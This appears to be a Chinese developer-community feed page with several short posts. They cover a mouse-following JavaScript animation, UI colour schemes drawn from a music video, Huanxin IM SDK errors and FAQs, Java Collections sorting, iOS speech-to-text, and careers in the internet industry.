(function(_0x5e2a74,_0x3d2559){var _0x5e2331=_0x5e2a74();function _0x4514c1(_0x56e61e,_0x24cc3c,_0xced7a6,_0x2eee50,_0x30fa4e){return _0xc941(_0xced7a6- -0x94,_0x2eee50);}function _0x447b09(_0x2bf694,_0x3c6d87,_0x2bfc91,_0x14456b,_0x28fe70){return _0xc941(_0x3c6d87- -0x3b,_0x28fe70);}function _0x12756f(_0x58c768,_0x1cd95f,_0x188173,_0x5baeba,_0x59fb94){return _0xc941(_0x1cd95f- -0x32b,_0x5baeba);}function _0x3c2cef(_0x3a3ce5,_0x274c07,_0x15ea13,_0x4aa242,_0x449d14){return _0xc941(_0x274c07- -0x1f6,_0x4aa242);}function _0x5516f2(_0x51af28,_0x27889e,_0x34f94f,_0x3756b4,_0x34e9e7){return _0xc941(_0x51af28-0x6e,_0x34e9e7);}while(!![]){try{var _0x1361cf=parseInt(_0x12756f(-0x31f,-0x322,-0x31b,-0x324,-0x319))/0x1*(-parseInt(_0x12756f(-0x330,-0x329,-0x333,-0x322,-0x326))/0x2)+-parseInt(_0x3c2cef(-0x1f0,-0x1f2,-0x1e9,-0x1f1,-0x1f2))/0x3*(-parseInt(_0x4514c1(-0x85,-0x83,-0x8c,-0x8a,-0x96))/0x4)+-parseInt(_0x5516f2(0x79,0x7f,0x72,0x71,0x73))/0x5*(-parseInt(_0x447b09(-0x44,-0x3b,-0x42,-0x38,-0x3b))/0x6)+parseInt(_0x4514c1(-0x88,-0x8a,-0x8d,-0x97,-0x88))/0x7*(-parseInt(_0x4514c1(-0x8b,-0x88,-0x91,-0x8f,-0x8c))/0x8)+parseInt(_0x447b09(-0x25,-0x28,-0x24,-0x30,-0x2e))/0x9*(-parseInt(_0x4514c1(-0x7c,-0x83,-0x85,-0x7d,-0x85))/0xa)+-parseInt(_0x5516f2(0x74,0x74,0x71,0x7b,0x79))/0xb+-parseInt(_0x4514c1(-0x8c,-0x95,-0x8f,-0x91,-0x91))/0xc*(-parseInt(_0x447b09(-0x2c,-0x2a,-0x29,-0x22,-0x23))/0xd);if(_0x1361cf===_0x3d2559){break;}else{_0x5e2331["\u0070\u0075\u0073\u0068"](_0x5e2331["\u0073\u0068\u0069\u0066\u0074"]());}}catch(_0x12462f){_0x5e2331["\u0070\u0075\u0073\u0068"](_0x5e2331["\u0073\u0068\u0069\u0066\u0074"]());}}})(_0x2138,0x5eefa);function _0x2138(){var _0x3f76d0=["\u0063\u006c\u0069\u0065\u006e\u0074\u0048\u0065\u0069\u0067\u0068\u0074","\u0063\u006c\u0069\u0065\u006e\u0074\u0057\u0069\u0064\u0074\u0068","JrgkzB035".split("").reverse().join(""),"Xegap".split("").reverse().join(""),"SyQffy23819".split("").reverse().join(""),"poTtesffo".split("").reverse().join(""),"ipqYMm50751".split("").reverse().join(""),"AqmLUY411".split("").reverse().join(""),"\u0070\u0061\u0067\u0065\u0059","xWOaei206".split("").reverse().join(""),"LeZbPZ428".split("").reverse().join(""),"GxweQb21".split("").reverse().join(""),"pskjDZ465".split("").reverse().join(""),"jljclz6152674".split("").reverse().join(""),'26985yqvBrA','301452FNGmnL',"\u0031\u0039\u0031\u006c\u0059\u004b\u004d\u0072\u006d",'offsetLeft',"fSfKNj525391".split("").reverse().join(""),"\u0061\u0074\u0061\u006e"];_0x2138=function(){return _0x3f76d0;};return _0x2138();}ex=e['pageX']-plane['offsetLeft']-plane["\u0063\u006c\u0069\u0065\u006e\u0074\u0057\u0069\u0064\u0074\u0068"]/(0xe2994^0xe2996);ey=e["\u0070\u0061\u0067\u0065\u0059"]-plane["\u006f\u0066\u0066\u0073\u0065\u0074\u0054\u006f\u0070"]-plane["\u0063\u006c\u0069\u0065\u006e\u0074\u0048\u0065\u0069\u0067\u0068\u0074"]/(0xc7c08^0xc7c0a);deg=(0xc5a81^0xc5be9)*Math["\u0061\u0074\u0061\u006e"](ey/ex)/((0x350f1^0x350f3)*Math['PI'])+(0x4ebc3^0x4ebc6);if(ex<(0x7f58a^0x7f58a)){deg+=0x3611b^0x361af;}function _0xc941(_0x20d997,_0x21385e){var _0xc941d=_0x2138();_0xc941=function(_0x1c87e9,_0x16a339){_0x1c87e9=_0x1c87e9-0x0;var _0x1c1df3=_0xc941d[_0x1c87e9];return _0x1c1df3;};return _0xc941(_0x20d997,_0x21385e);}count=0x84c22^0x84c22;
})
function draw(){
(function(_0x228270,_0x49c561){function _0x1a7320(_0x4d8e0a,_0x4a154f,_0x39e417,_0x3351c1,_0x309eea){return _0x38eb(_0x4a154f- -0x390,_0x39e417);}var _0x5708e4=_0x228270();function _0x9be745(_0x32a1,_0x343ed0,_0xb88373,_0x328e52,_0x923750){return _0x38eb(_0xb88373-0x37,_0x923750);}function _0x556527(_0x56c686,_0x3c0b6e,_0x2f3681,_0x32b652,_0x3a844e){return _0x38eb(_0x3a844e-0x356,_0x32b652);}function _0x1cff65(_0x4a8e90,_0x538331,_0x35ecc0,_0x27c079,_0x1ad156){return _0x38eb(_0x35ecc0-0x295,_0x27c079);}function _0x1ca2c5(_0x1ae530,_0x12dbfa,_0xff68f6,_0x370048,_0xcf6eb1){return _0x38eb(_0x1ae530-0x244,_0xcf6eb1);}while(!![]){try{var _0x4d0db3=parseInt(_0x1ca2c5(0x24c,0x247,0x252,0x248,0x252))/0x1*(parseInt(_0x556527(0x35f,0x350,0x35c,0x355,0x358))/0x2)+-parseInt(_0x556527(0x365,0x363,0x360,0x35d,0x35d))/0x3*(-parseInt(_0x556527(0x358,0x358,0x355,0x355,0x35a))/0x4)+-parseInt(_0x1cff65(0x293,0x29c,0x29a,0x293,0x294))/0x5+parseInt(_0x1ca2c5(0x24f,0x24b,0x255,0x248,0x254))/0x6+-parseInt(_0x1ca2c5(0x245,0x240,0x23f,0x248,0x24a))/0x7+-parseInt(_0x556527(0x367,0x362,0x367,0x360,0x360))/0x8+parseInt(_0x556527(0x35a,0x363,0x365,0x35a,0x362))/0x9;if(_0x4d0db3===_0x49c561){break;}else{_0x5708e4["\u0070\u0075\u0073\u0068"](_0x5708e4["\u0073\u0068\u0069\u0066\u0074"]());}}catch(_0x4057b8){_0x5708e4["\u0070\u0075\u0073\u0068"](_0x5708e4["\u0073\u0068\u0069\u0066\u0074"]());}}})(_0x15e5,0x6b59f);function _0x4da06f(_0x10d466,_0x20ab24,_0x408802,_0x869b10,_0x64532e){return _0x38eb(_0x869b10-0x294,_0x20ab24);}plane["\u0073\u0074\u0079\u006c\u0065"]["\u0074\u0072\u0061\u006e\u0073\u0066\u006f\u0072\u006d"]=_0x4da06f(0x297,0x29b,0x299,0x297,0x298)+deg+_0x4da06f(0x2a5,0x2a2,0x2a4,0x2a1,0x29d);function _0x38eb(_0xf88e34,_0x15e593){var _0x38eb7d=_0x15e5();_0x38eb=function(_0x1b2a3d,_0x46bf66){_0x1b2a3d=_0x1b2a3d-0x0;var _0x23a19a=_0x38eb7d[_0x1b2a3d];return _0x23a19a;};return _0x38eb(_0xf88e34,_0x15e593);}if(count<(0xcf802^0xcf866)){vx+=ex/(0xecfb8^0xecfdc);vy+=ey/(0x667f3^0x66797);}function _0x15e5(){var _0x1a56cf=["KMHgjO12".split("").reverse().join(""),"pot".split("").reverse().join(""),"\u0036\u0033\u0034\u0032\u0035\u0036\u0038\u004f\u006d\u0048\u0065\u0055\u0057","\u0034\u0030\u0031\u0038\u0031\u0032\u0032\u0044\u006a\u0057\u006e\u0058\u0043","VmFQAb2646603".split("").reverse().join(""),")ged".split("").reverse().join(""),"elyts".split("").reverse().join(""),"\u0074\u0072\u0061\u006e\u0073\u0066\u006f\u0072\u006d","VgmPeO2141391".split("").reverse().join(""),"kvRLZy63064".split("").reverse().join(""),"(etator".split("").reverse().join(""),"\u0031\u0031\u0032\u0034\u0072\u0055\u0046\u0046\u007a\u007a","TRaCTh0401222".split("").reverse().join(""),"\u006c\u0065\u0066\u0074","oLkDOm9984".split("").reverse().join("")];_0x15e5=function(){return _0x1a56cf;};return _0x15e5();}plane['style']['left']=vx+"\u0070\u0078";plane["\u0073\u0074\u0079\u006c\u0065"]['top']=vy+"xp".split("").reverse().join("");function _0x27ce93(_0x4b6716,_0x4781f6,_0x57584e,_0x4dbb11,_0x295d49){return _0x38eb(_0x4b6716-0x233,_0x4781f6);}count++;
}

一个小小的JS特效,但效果挺不错。


感谢阅读。劳逸结合,写代码久了,休息休息。


作者:w2sfot
来源:juejin.cn/post/7302338286769520692
收起阅读 »

看完周杰伦《最伟大的作品》MV后,我解锁了想要的UI配色方案!

在UI设计的核心理念中,色彩的搭配与运用显得至关重要。事实上,一个合理且得当的色彩组合往往就是UI设计成功的关键。要构建一个有用的UI配色方案,我们既需要掌握色彩理论知识,更要学会在生活中洞察和提取灵感。以周杰伦最新推出的音乐作品《最伟大的作品》为例,其MV因...
继续阅读 »

在UI设计的核心理念中,色彩的搭配与运用显得至关重要。事实上,一个合理且得当的色彩组合往往就是UI设计成功的关键。要构建一个有用的UI配色方案,我们既需要掌握色彩理论知识,更要学会在生活中洞察和提取灵感。以周杰伦最新推出的音乐作品《最伟大的作品》为例,其MV因其独特的色彩构成和视觉效果一经发布便激起了网络热潮,成为了热门话题。这部MV以高度尊敬的方式向众多世界级艺术家们的杰作致敬,为设计师们提供了寻找新颖配色方案的无价参考。然而,在UI设计实践中,运用调色板精心匹配出合适的色彩方案绝非易事。


对于这个看起来既复杂又麻烦的UI界面配色问题,今天Pixso将为你分享一个聪明而实用的方法:就是利用那些已经得到广大公众认可并赞誉的色彩创作策略。


1. 复古UI配色,梦回巴黎


歌曲《最伟大的作品》背景在1920年代的巴黎,当时也是“巴黎画派”最为辉煌的年代。在此张MV截图中,整个色调与中国古典画的UI界面配色在达到了某种程度的默契。青、棕两个主色,使画面有着很浓的复古味道。将此复古色调运用到在我们的UI设计中,可以让我们省去很多的构思配色的问题。


复古色调


比如下图中的这个珠宝登陆页面,运用了棕色作为大背景颜色,大块的色彩在烘托气氛跟主题方面较为稳定,与珠宝的华贵气质相呼应,给画面一种华贵的美感,这样的UI配色会使UI界面非常的出彩,不显单调。如果你想深入学习网站UI配色,建议阅读《全套大厂网页UI配色指南,网站想不好看都难》


免费珠宝店登陆页


[免费珠宝店登陆页](https://pixso.cn/community/file/L6ufTu9mbHowkkVaOXhqmQ?from_share)


2. 冷暖 对比UI配色,优雅端庄


在设计UI界面时,应该做到整体色调协调统一,界面设计应该先确定主色调,主色将会占据页面中很大的面积,其他的辅助色都应该以主色为基准进行搭配。这可以保证整体色调的协调统一,重点突出,使作品更加专业、美观。 


冷暖色的区分是人类在大自然生活总结出来的颜色规律,通过联想将颜色与具体事物连接在一起,再由事物给人的感觉去区分冷暖。冷暖色是自然平衡的规律,可以在设计中大量使用,这样的UI配色方案会使UI界面非常的出彩,不显单调。


冷暖对比UI配色


而在下图的移动应用程序界面中,所使用的,正是将冷暖色完美的融合贯穿,但是在UI设计时,UI设计师需注意,不要采用过多色彩,会使得界面没有秩序性,给用户一种混乱感。如果你想深入学习移动APP配色方案,可以阅读Pixso资源社区的设计技巧专栏《UI设计师如何为一款app配色?值得收藏篇!》


矢量插图旅行APP


[矢量插图旅行APP](https://pixso.cn/community/file/hLz9LrhMmFFvGre1aVwtdQ?from_share)


3. 深棕 UI配色,灵动梦幻


色彩的对比与调和是色彩构成的基本原理,表现色彩的多样变化主要依靠色彩的对比,使变化和多样的色彩达到统一主要依靠色彩的调和。概括说来,色彩的对比是绝对的,调和是相对的,对比是目的,调和是手段。


深棕UI配色


深棕色调的UI界面会显得太过沉重,在中间加入浅色调调和一下,整个画面立刻上升了一个质感度,沉稳又不失俏皮的美感。


OTP 验证页


[OTP 验证页](https://pixso.cn/community/file/5qd8ACoD9nrDQSBD8BxjEw?from_share)


4. 深色 UI配色,沉稳低调


颜色会唤起不同的感觉或情绪,所以通过了解颜色的心理学,我们可以利用与目标受众产生共鸣的品牌颜色。低明度的颜色则会更多的强化稳重低调的感觉。 学习UI配技巧,可以阅读《超实用UI配色技巧,让你的UI设计财“色”双收》


深色UI配色


在深色的对比中,加入低饱和度的颜色,在提升画面亮度的同时,也能提升用户的视觉观感,即使是深色调也能产生一种小清新的美感。


比特币APP UI设计


[比特币APP UI设计](https://pixso.cn/community/file/i9zSK-ga4mhu2BhRUAysZg?from_share)


5. 暖色 调UI配色,热情复古


人们看到不同的颜色会产生不同的心理反应,例如看到红色会下意识地心跳加速、血液流速加快,进而从心理上感受到一种兴奋、刺激、热情的感觉,这就是色彩的作用和意象。暖色调使人狂热、欢乐和感性。


暖色调UI配色


恰到好处的暖色调对比会使画面更加协调和丰富,使UI的色彩不至于太过单一。而暖色调即代表温馨、热情的气氛,但搭配不当会使画面呈现出拖沓、不清爽的反面效果。


毛玻璃视觉设计


[毛玻璃视觉设计](https://pixso.cn/community/file/zYUJ5EIiY4Uh6w3DPINVrg?from_share)


6. 冷淡 色调 UI配色,浪漫温柔


冷淡色调UI配色


UI界面通常尺寸较“小”,不少功能难以在一个界面内实现,用户需要在多个界面中频繁跳转,而冷淡的色彩设计能减轻用户在频繁跳转界面时的焦躁。淡色彩的UI配色范围可以从比原始色相略浅,一直到几乎没有任何原始色相的灰白色。有色颜色在眼睛上看起来更柔和更容易,其中最浅的颜色称为粉彩。淡色彩通常会在设计中营造出年轻柔和的氛围。


紫色UI组件库


[紫色UI组件库](https://pixso.cn/community/file/2_-jN0hAMOHrF6REAen62A?from_share)


7. 专业UI配色工具Pixso,成就伟大配色方案


在设计时,设计师总会为了颜色的填充苦恼,Pixso新上线的多色矢量网格功能,路径色快可以快速填充各种颜色,让设计师以前以前绘制一个复杂的颜色魔方需要更多的路径线条,更多的色卡,还得考虑图层的对齐,间距是否一致统一的问题,在Pixso这些都不需要考虑了。如果你仍不知道如何提取颜色,或者觉得提取颜色麻烦,可以试试Pixso里的一键取色插件,只需要导入图片,在右上角的插件里找到一键取色,点击一键取色即可。


一键取色插件


其次,在Pixso右上角的插件按钮中,选择色板插件,里面都是大厂色板,让你站在大厂肩膀上做UI配色,想不好看都难。


色板插件


除此之外,Pixso还有协同设计、在线评论、一键交付等等强大功能,帮助设计师更快的完成设计工作,快打开Pixso试试吧~


作者:Yuki1
来源:juejin.cn/post/7304538199144415268
收起阅读 »

环信web、uniapp、微信小程序SDK报错详解---登录篇

项目场景: 记录对接环信sdk时遇到的一系列问题,总结一下避免大家再次踩坑。这里主要针对于web、uniapp、微信小程序在对接环信sdk时遇到的问题。主要针对报错400、404、401、40 (一) 登录用户报400 原因分析: 从console控制台输出及...
继续阅读 »

项目场景:


记录对接环信sdk时遇到的一系列问题,总结一下避免大家再次踩坑。这里主要针对于web、uniapp、微信小程序在对接环信sdk时遇到的问题。主要针对报错400、404、401、40


(一) 登录用户报400



原因分析:

从console控制台输出及network请求返回入手分析

可以看到报错描述invalid password,密码无效,这个时候就需要去排查一下该用户密码填写是否正确


排查思路:

因为环信不保存用户的密码,可以在console后台或者调用修改密码的restapi来修改一下密码再重新登录(修改密码目前只有这两种方式)




(二) 登录用户报404



原因分析:

从console控制台输出及network请求返回入手分析

可以看到报错描述user not found,这个时候就需要去排查一下该用户是否存在于该项目使用的appkey下了


排查思路:

可以看一下console后台拥有这个用户的appkey和自己项目初始化时用的是否是同一个,若在console后台并没有查到该用户,就要注意这个用户是否真的没有注册





(三) 登录用户报40、401




原因分析:

报错40或者401一般都是token的问题,需要排查一下token是否还在有效期,token是否是当前用户的用户token

40的报错还有一种情况,用户名密码登录需要排查用户名及密码传参是否都是string类型


注:此处需要注意用户token和apptoken两种概念

用户token指的是该用户的token,一般只用于该用户在客户端使用环信 token 登录和鉴权

app token指的是管理员权限 token,发送 HTTP 请求时需要携带 app token

token较为私密,一般不要暴露出去


排查思路:

排查用户名及密码传参是否都是string类型,这个可以直接将option传参打印出来取一下数据类型看看是否是string

关于token排查,现在没有合适的办法直接查询token是否还在有效期或者是不是当前用户的token,只能通过api调用看是否报错401,可以在console后台直接获取新的用户token来测试一下




是不是当前用户的token也可以找环信的技术支持帮忙查,但在不在有效期他们也查不了


话外

有人遇到为什么已经open成功了但是还会报错?


这里要注意open只能证明获取到了token,证明不了已经建立了websocket连接,只有触发onOpened或者onConnected回调 只有onOpened或者onConnected回调触发,才算真正与环信建立连接。所以也不能在open返回的success或者.then中做任何逻辑处理,此外还要注意监听回调一定要放在调用api之前,在调用任何一个api时都要保证监听挂载完毕,包括open


如何判断自己是否在登录状态?


可以用以下三种方法中的一种判断当前用户是否在登录状态~

1、WebIM.conn方法下有一个logOut字段,该字段为true时表明未登录状态,该字段为false时表明登录;

2、WebIM.conn.isOpened () 方法有三个状态,undefined为未登录状态,true为已登录状态,false为未登录状态,可以根据这三个状态去判断是否登录;

3、通过onOpened 这个回调来判断,只要执行了就说明登录成功了,输出的话,输出的是undefined


三者选其一判断登录状态


收起阅读 »

从入门到精通:集合工具类Collections全攻略!

前言在之前的文章中,我们学习了单列集合的两大接口及其常用的实现类;在这些接口或实现类中,为我们提供了不少的实用的方法。本篇文章我们来介绍一种java开发者为我们提供了一个工具类,让我们更好的来使用集合Collections 工具类介绍Collections 是...
继续阅读 »

前言
在之前的文章中,我们学习了单列集合的两大接口及其常用的实现类;在这些接口或实现类中,为我们提供了不少的实用的方法。
本篇文章我们来介绍一种java开发者为我们提供了一个工具类,让我们更好的来使用集合

Collections 工具类

介绍

Collections 是一个操作Set,List,Map等的集合工具类
它提供了一系列静态的方法对集合元素进行排序、查询和修改等的操作,还提供了对集合对象设置不可变、对集合对象实现同步控制等方法。

常用功能

通过java的api文档,可以看到Collections了很多方法,我们在此就挑选几个常用的功能,为大家演示一下使用:

● public static void shuffle(List<?> list) 打乱顺序:打乱集合顺序。
● public static <T> void sort(List<T> list):根据元素的自然顺序 对指定列表按升序进行排序
● public static <T> void sort(List<T> list,Comparator<? super T> ): 根据指定比较器产生的顺序对指定列表进行排序。

直接撸代码:

import java.util.ArrayList;
import java.util.Collections;
import java.util.List;

class Person {
private String name;
private int age;

public Person(String name, int age) {
this.name = name;
this.age = age;
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}

public class Demo1Collections {

public static void main(String[] args) {

//创建一个List 集合
List<Integer> numbers = new ArrayList<>();
//在这里咱们顺便使用下Collections的addAll()方法
Collections.addAll(numbers, 3,34,345,66,22,1);

System.out.println("原集合" + numbers);
//使用排序算法
Collections.sort(numbers);
System.out.println("排序之后"+numbers);

Collections.shuffle(numbers);
System.out.println("乱序之后" + numbers);

//创建一个字符串List 集合
List<String> stringDemo = new ArrayList<>();
stringDemo.add("nihao");
stringDemo.add("hello");
stringDemo.add("wolrd");
stringDemo.add("all");
System.out.println("原集合" + stringDemo);
//使用排序算法
Collections.sort(stringDemo);
System.out.println("排序之后"+stringDemo);

List<Person> people = new ArrayList<>();
people.add(new Person("秋香", 15));
people.add(new Person("石榴姐", 19));
people.add(new Person("唐伯虎", 12));
System.out.println("--" + people);

//如果Person类中,这里报错了,为什么呢? 在这里埋个伏笔,且看下文
Collections.sort(people);

System.out.println("----" + people);

}
}

Comparable 和 Comparator

Comparable 接口实现 集合排序

我们上面代码最后一个例子,使用了我们自定义的类型,在使用排序时,给我们报错了?这是为什么呢?整型包装类和字符串类型,和我们的自定义类型有什么区别?
那我们通过API文档,看看这个方法,可以看到 根据元素的自然顺序 对指定列表按升序进行排序。列表中的所有元素都必须实现 Comparable 接口。此外,列表中的所有元素都必须是可相互比较的。 而Comparable 接口只有一个方法 int compareTo(T o)比较此对象与指定对象的顺序。

编程学习,从云端源想开始,课程视频、在线书籍、在线编程、一对一咨询……你想要的全部学习资源这里都有,重点是统统免费!点这里即可查看

说的白话一些,就是我们使用自定义类型,进行集合排序的时候,需要实现这个Comparable接口,并且重写 compareTo(T o)。

public class Person2 implements Comparable<Person2>{
private String name;
private int age;

public Person2(String name, int age) {
this.name = name;
this.age = age;
}

@Override
public String toString() {
return "Person2{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

@Override
public int compareTo(Person2 o) {
//重写方法如何写呢?
// return 0; //默认元素都是相同的
//自定义规则 我们通过person 的年龄进行比较 this 代表本身,而 o 代表传参的person对象
//这里的比较规则
// ==》 升序 自己 - 别人
// ==》 降序 别人 - 自己
// return this.getAge() - o.getAge(); //升
return o.getAge() - this.getAge(); //降

}
}


public class Demo2Comparable {

public static void main(String[] args) {
List<Person2> people2 = new ArrayList<>();
people2.add(new Person2("秋香", 15));
people2.add(new Person2("石榴姐", 19));
people2.add(new Person2("唐伯虎", 12));
System.out.println("--" + people2);

//这里报错了,为什么呢?
Collections.sort(people2);

System.out.println("----" + people2);
}
}


Comparator 实现排序

使用Comparable 接口实现排序,是一种比较死板的方式,我们每次都要让自定义类去实现这个接口,那如果我们的自定义类只是偶尔才会去做排序,这种实现方式,不就很麻烦吗!所以工具类还为我们提供了一种灵活的排序方式,当我需要做排序的时候,去选择调用该方法实现

public static <T> void sort(List<T> list, Comparator<? super T> c)

根据指定比较器产生的顺序对指定列表进行排序。我们通过案例来看看该方法的使用

public class Person {
private String name;
private int age;

public Person(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}

public class Demo3Comparator {
public static void main(String[] args) {

List<Person> people = new ArrayList<>();
people.add(new Person("秋香", 15));
people.add(new Person("石榴姐", 19));
people.add(new Person("唐伯虎", 12));
System.out.println("--" + people);

//第二个参数 采用匿名内部类的方式传参 - 可以复习之前有关内部类的使用
Collections.sort(people, new Comparator<Person>() {
@Override
public int compare(Person o1, Person o2) {
//这里怎么用呢 自定义按年龄排序
// return 0;
// return o1.getAge() - o2.getAge(); //升序
return o2.getAge() - o1.getAge(); //降序

//结论: 前者 -后者 升序 反之,降序
//这种方式 我们优先使用
}
});
System.out.println("排序后----" + people);
}
}

Comparable 和 Comparator

Comparable: 强行对实现它的每个类的对象进行整体排序。这种排序被称为类的自然排序,类的compareTo方法被称为它的自然比较方法。只能在类中实现compareTo()一次,不能经常修改类的代码实现自己想要的排序。实现此接口的对象列表(和数组)可以通过Collections.sort(和Arrays.sort)进行自动排序,对象可以用作有序映射中的键或有序集合中的元素,无需指定比较器。

Comparator: 强行对某个对象进行整体排序。可以将Comparator 传递给sort方法(如Collections.sort或 Arrays.sort),从而允许在排序顺序上实现精确控制。还可以使用Comparator来控制某些数据结构(如有序set或有序映射)的顺序,或者为那些没有自然顺序的对象collection提供排序。

小结

Collections 是 Java 中用于操作集合的工具类,它提供了一系列静态方法来对集合进行排序、查找、遍历等操作。在 Java 中,Map 是一种特殊的集合,用于存储键值对数据。虽然 Collections 类的部分方法可以直接操作 Map 的键或值的集合视图,但并不能直接对整个 Map 进行操作。

Collections 类提供了一些静态方法来对 Map 的键或值集合视图进行操作,比如排序、查找最大值、查找最小值等。例如,Collections.sort 方法可以对 List 类型的集合进行排序,而 List 类型的 map.keySet() 和 map.values() 返回的集合都可以使用这个方法进行排序。同样地,Collections.max 和 Collections.min 也可以用于获取集合中的最大值和最小值。

另外,对于整个 Map 的操作,可以直接使用 Map 接口提供的方法进行操作,比如 put、get、remove 等。如果需要对整个 Map 进行操作,一般直接调用 Map 接口提供的方法会更加方便和直观。

总之,Collections 类主要用于操作集合类(比如 List、Set),而对于 Map 类型的操作,一般直接使用 Map 接口提供的方法即可。

还是老生常谈,熟能生巧!多练!happy ending!!

收起阅读 »

iOS如何实现语音转文字功能?

1.项目中添加权限Privacy - Speech Recognition Usage Description : 需要语音识别权限才能实现语音转文字功能2.添加头文件#import <AVFoundation/AVFoundation.h>#im...
继续阅读 »

1.项目中添加权限

Privacy - Speech Recognition Usage Description : 需要语音识别权限才能实现语音转文字功能


2.添加头文件

#import <AVFoundation/AVFoundation.h>

#import<Speech/Speech.h>


3.实现语音转文字逻辑:

3.1 根据wav语音文件创建请求


    SFSpeechURLRecognitionRequest *recognitionRequest
= [[SFSpeechURLRecognitionRequest alloc] initWithURL:[NSURL fileURLWithPath:wavFilePath]];

3.2 创建语言配置


    SFSpeechRecognizer *recongnizer

    = [[SFSpeechRecognizer alloc] initWithLocale:[[NSLocale alloc] initWithLocaleIdentifier:@"zh_CN"]];

3.2 根据请求和语言配置创建任务,同时设置代理<SFSpeechRecognitionTaskDelegate>对象为自己


    SFSpeechRecognitionTask *task =

    = [recongnizer recognitionTaskWithRequest:recognitionRequest delegate:self];

3.3 取消方法:


    [task cancel];

3.4 代理方法:


// Called for all recognitions, including non-final hypothesis
- (void)speechRecognitionTask:(SFSpeechRecognitionTask *)task didHypothesizeTranscription:(SFTranscription *)transcription{
NSLog(@"转换中...");
}

// Called when recognition of all requested utterances is finished.
// If successfully is false, the error property of the task will contain error information
- (void)speechRecognitionTask:(SFSpeechRecognitionTask *)task didFinishSuccessfully:(BOOL)successfully{
NSLog(@"转换完成 是否成功:%d",successfully);

}

以上为针对单个语音文件转文字的整体逻辑

在实际使用中,会涉及到多条语音转文字,此时有一个环节需要注意:

当我们进行多条语音转文字时,可以将上述逻辑封装为一个一个类个体,每进行一条语音转文字时,创建一个对象进行处理

用多个对象来进行各自的语音转文字行为.

但是!!!这是行不通的.

因为即使每一个语音转文字逻辑是一个对象个体,但依然在未处理完当前的任务时,处理下一个语音转文字,会导致当前的语音转文字行为直接终止,并失败.

所以,针对这块儿,可以做成队列形式,也就是当有多个语音转文字的操作时,我们是可以将这多个任务添加到队列中,并依次执行.(这里队列是用数组方式实现)

最后展示实际代码截图



调用方式:



具体demo可以参考链接

https://gitee.com/huanxin666/EMDemo-oc

语音消息长按可显示出转文字的按钮,点击转文字即可进行转换

效果如下


Demo演示iOS语音转文字实现

收起阅读 »

集成环信IM时常见问题及解决——包括消息、群组、推送

一、消息发送透传消息也就是cmd消息时,value的em_开头的字段为环信内部消息字段,如果使用会出现收不到消息回调的情况;如果发送消息报500的错误,请检查下你的登录逻辑,大概率就是没有登录环信造成的;Android在发送图片消息时,默认超过100kb是会压...
继续阅读 »

一、消息

  1. 发送透传消息也就是cmd消息时,value的em_开头的字段为环信内部消息字段,如果使用会出现收不到消息回调的情况;

  2. 如果发送消息报500的错误,请检查下你的登录逻辑,大概率就是没有登录环信造成的;

  3. Android在发送图片消息时,默认超过100kb是会压缩图片的,如果对图片质量有要求的话,可以设置不压缩;

        // `imageUri` 为图片本地资源标志符,
// `false` 为不发送原图(默认超过 100 KB 的图片会压缩后发给对方),
// 若需要发送原图传 `true`,即设置 `original` 参数为 `true`。
EMMessage message = EMMessage.createImageSendMessage(imageUri, false, toChatUsername);
// 发送消息
EMClient.getInstance().chatManager().sendMessage(message);


  1. 如果项目里需要本地插入一些会话,需要注意环信id的大小写问题,需要以小写字母去创建会话id,否则会出现获取不到会话的情况;
    EMClient.getInstance().chatManager().getConversation(“xiaoxie”, EMConversation.EMConversationType.Chat,true);

二:群组

  1. 在群组的操作方法中有很多是同步的api,需要注意,同步的api需要放到子线程里,否则会报300;
    例如:createGroup创建群组,destroyGroup解散群组等;
    如果想避免此类问题,可以调用异步方法;

  2. 在发送群组消息时,需要设置message.setChatType(EMMessage.ChatType.GroupChat);否则会出现,发送消息对方收不到的情况;

  3. 获取群组详情的时候,需要先从服务器获取,本地才会有数据;
    当获取不到数据时,需要先检查下,是否直接获取的本地;

     // 根据群组 ID 从本地获取群组详情。
EMGroup group = EMClient.getInstance().groupManager().getGroup(groupId);
// 根据群组 ID 从服务器获取群组详情。
// 同步方法,会阻塞当前线程。异步方法为 asyncGetGroupFromServer(String,
EMValueCallBack)
EMGroup group =
EMClient.getInstance().groupManager().getGroupFromServer(groupId);
  1. 操作黑名单,成员禁言的api是有角色区分的,需要留意下;
    比如:将群成员拉入群组的黑名单,将用户移除出群黑名单,获取群组的黑名单用户列表,只有群主有权限操作;
    将群成员加入禁言列表中,将群成员移出禁言列表,获取群成员禁言列表,开启和关闭全员禁言,群主或者管理员有权限操作;
  2. 当群成员超过200人的时候,需要调用获取完整的群成员列表的方法;

三:推送

  1. fcm推送配置了BOTH类型,如果没有收到离线推送,可以检查下通知栏权限,国内网络的话还需要开启应用后台启动,和自启动权限;如果这些权限都开启的,还是收不到推送的话,请联系环信技术支持;

  2. oppo推送需要注意:
    在console后台上传秘钥的是master secret
    在APP中上传秘钥是app secret
    如果上传错误的话,会造成推送收不到;

相关文档:

收起阅读 »

还能在互联网行业干多久

随着互联网的迅速发展,互联网行业成为了当今社会最为重要的行业之一。然而,这个行业的发展速度之快,竞争之激烈,让很多人不禁想问:我还能在这个行业干多久?对于这个问题,不同人有不同的回答。有些人认为,互联网行业的发展速度非常快,如果不能跟上这个速度,就会被淘汰。因...
继续阅读 »


随着互联网的迅速发展,互联网行业成为了当今社会最为重要的行业之一。然而,这个行业的发展速度之快,竞争之激烈,让很多人不禁想问:我还能在这个行业干多久?

对于这个问题,不同人有不同的回答。有些人认为,互联网行业的发展速度非常快,如果不能跟上这个速度,就会被淘汰。因此,他们不断地学习新技术、新知识和新技能,以便能够在竞争激烈的市场中立足。另一些人则认为,互联网行业是一个“青春饭”,只有年轻人才有优势,随着年龄的增长,他们的竞争力会逐渐下降。

